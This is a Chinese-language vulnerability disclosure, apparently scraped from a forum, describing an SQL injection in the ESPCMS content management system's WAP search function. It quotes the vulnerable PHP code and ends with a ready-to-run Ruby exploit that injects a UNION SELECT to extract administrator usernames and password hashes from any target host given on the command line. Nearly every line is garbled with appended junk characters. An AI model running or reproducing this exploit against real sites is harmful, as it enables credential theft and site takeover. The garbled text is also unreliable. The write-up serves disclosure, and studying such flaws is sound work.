0×0 漏洞概述0×1 漏洞细节
9 h2 h. R) A [% c+ u0×2 PoC8 n5 D$ ~4 n4 d7 _
7 o; T4 i) G4 D5 t& Y6 b
+ _3 S" C8 R5 n8 {) U& u
) ^5 Y9 i1 @: M/ v) J; ~
0×0 漏洞概述' n: }7 Y l9 k3 J5 ^6 @
9 D Y# h; q* `* y/ q易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
# P: \, j8 b- n" B' q其在处理传入的参数时考虑不严谨导致SQL注入发生" T% O1 Z. i: Y/ p
6 k- ^% E" d2 W& m: L- | m, l
" P: X$ }7 R: f+ p1 ], P0×1 漏洞细节$ P. K) g. h4 Y: I V& ^
: W4 @ b. c w: m
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
+ X/ Q$ H0 I+ l3 E# i% Z正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。) Y" j% q6 r$ c
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。" L4 L1 t& _! s) L
( A: [/ W0 `# O8 _" s0 p8 A
在/interface/3gwap_search.php文件的in_result函数中:
+ P9 p1 l- X' }% p' x6 p7 V/ ?, ]
: j. i8 m$ T3 F: [5 R8 L- o
4 p" x- d: C2 b$ Z/ i/ P: m5 l4 J
) C. t- ~$ f" U$ U function in_result() {3 o6 L2 d; Q& M- i
... ... ... ... ... ... ... ... ...
- d; w, t9 Q$ ]; v" {) H $urlcode = $_SERVER[ 'QUERY_STRING '];5 O! u) ~, q* U9 a% O
parse_str(html_entity_decode($urlcode), $output);
2 X2 N& F' x$ z9 P* V9 G- Q2 k9 ?# c) @
... ... ... ... ... ... ... ... ...
" W) }( W5 l1 ^. n" P% ^ if (is_array($output['attr' ]) && count($output['attr']) > 0) {
@, B" \% z" o Y' T7 X, R1 }5 A' V7 T2 [; Q
$db_table = db_prefix . 'model_att';8 _5 L3 b7 Z L$ ]6 H
0 m8 x% }) j& B3 s
foreach ($output['attr' ] as $key => $value) {
% H% G- p# j A: N! A4 E! y if ($value) {
6 ~. \5 y9 U0 l7 Y) e. B
" I* E/ q$ f& u x5 w $key = addslashes($key);
+ t" Q; G$ I7 n) f6 ]% y' r $key = $this-> fun->inputcodetrim($key);% H- d4 i% v2 Z0 d
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
+ b. r& O' i. V+ d6 t4 n0 Z7 o $countnum = $this->db_numrows($db_table, $db_att_where);
- F. Q/ }- V* R; h; `9 N if ($countnum > 0) {
, W$ V+ c8 I1 a2 u: a d $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;3 r8 c# {- [/ ]2 a0 @% \. V/ U
}
/ F" ]" j) a+ K5 f, [ }5 b! _& C6 u4 n- b' O& J
}
3 R/ f8 K) F% ^- I' h0 `; a } {8 \/ Q# e( d3 O
if (!empty ($keyword) && empty($keyname)) {
) e4 ?& Z9 N' E* j. ?/ p) v $keyname = 'title';& M" ?- U# i$ \5 u
$db_where.= " AND a.title like '%$keyword%'" ;
* z Y& y8 |- v6 g, j' R } elseif (!empty ($keyword) && !empty($keyname)) {- i% \0 x2 A2 V+ |- R0 G' N
$db_where.= " AND $keyname like '% $keyword%'";
! t& } C" G+ `3 ^& T' U }4 X7 I u$ P8 e, U1 z5 h
$pagemax = 15;* |# |8 y$ b( ?+ S
) l4 L& r1 W g
$pagesylte = 1;
& \ C0 o: @+ \/ G6 O" A! o+ f+ [# E* a l
if ($countnum > 0) {
7 m3 t8 O/ P6 s& o- ~" ?0 |& @$ J5 \
$numpage = ceil($countnum / $pagemax);- N6 \5 \+ j6 x6 q2 J, S, k/ B
} else {. A! ^/ }; U- G" ~% b
$numpage = 1;
/ k3 U3 c5 y, Q3 Q* ]6 X+ G }4 [6 }6 o! V" f9 W9 y, Z2 U
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;2 b! H' y, S( S/ _9 E
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
) m- F1 X& h5 r! P9 i- M$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
% Q L! ?* b* L2 U; y3 f8 h. q ... ... ... ... ... ... ... ... ...: l P# e+ u3 Q* n. u; @0 O
}
0 ]* ]1 x! M7 l* y
" v# y- c; u6 E4 J- z, J* ?, n+ _! G5 N( z2 a' @' v# c' G
0×2 PoC
& {' S5 ?" C' j7 N
/ b7 d! [ C h4 i
0 L4 i) u( f8 P! L; Q. L) R+ _- L/ h6 ~7 G
require "net/http"! P* m( c, ^% J0 v
/ } K( Q# W9 J4 t9 W2 F! o
def request(method, url)% D8 U8 w3 {: { @* K) ~, Z
if method.eql?("get")
1 s/ M) z3 H( z% k5 ?5 M; r9 i; V uri = URI.parse(url): N! _2 r4 W6 ]: L
http = Net::HTTP.new(uri.host, uri.port)
: j9 _" }: d" |9 v response = http.request(Net::HTTP::Get.new(uri.request_uri))! t, V: ]4 j Y
return response: t" s5 f, `) L
end
! Q1 F' A3 Y$ _3 q0 `end5 u4 Q- }! o* G/ @
o( b6 c3 b. o! H: s7 @1 D
doc =<<HERE
0 R* O9 n# ^& w5 ~* {- A-------------------------------------------------------
. ^% ^6 k2 P* }" l) @/ PEspcms Injection Exploit
/ g6 C9 n$ e2 |% P9 E0 \Author:ztz% Z# R* b$ ^' D9 x+ j
Blog:http://ztz.fuzzexp.org/
/ t2 c; ~, a- r+ _! k% l-------------------------------------------------------
4 _7 X" t& d! A/ C7 o
9 |# a* x$ H# o( }HERE
" f8 U. D% g) ]% t1 G! t0 H' G# c: e5 G U2 w! _2 N
usage =<<HERE
6 a( H& ?: ?+ ]: Y7 S/ UUsage: ruby #{$0} host port path9 [+ G6 Z9 y) t' g
example: ruby #{$0} www.target.com 80 /! d# K# w8 c0 |
HERE1 R: Q! q: N8 Z! w
: a+ t" @$ ~# E4 b7 Z) }0 u# Mputs doc6 g- D+ i& w3 q: m: y* k& r8 d
if ARGV.length < 3) G- z! W @& f* ]; a% N# l
puts usage. c' H) x- }, R" H. v) O2 [) R
else. q" o0 X% b7 h+ }
$host = ARGV[0]. S8 Y& O$ ?/ }# c! }
$port = ARGV[1]7 g; R/ B( w, a' Z$ |0 _9 l
$path = ARGV[2]
! s( p6 G, ?0 ]( p2 w& X! V8 |5 R6 c- o/ Q& ^
puts "send request...": v5 x0 q7 Y' K) @7 T( @$ g
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&" S' t+ l$ }4 |4 ^ x$ U
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13% M2 M. ~5 `) o. A
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,276 s8 Q j6 D" I/ N( A: _$ a& }
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"6 J# l: o3 D* s
response = request("get", url). `" U- I5 L; T X
result = response.body.scan(/\w+&\w{32}/)
& Y: \- {2 m' D. m7 ]) k# x puts result
5 b( K3 ?$ \: V9 W+ E* P8 U {' aend
+ S; i7 x3 }' C1 A! w+ ~8 F( `# W0 Q: `& x1 d
|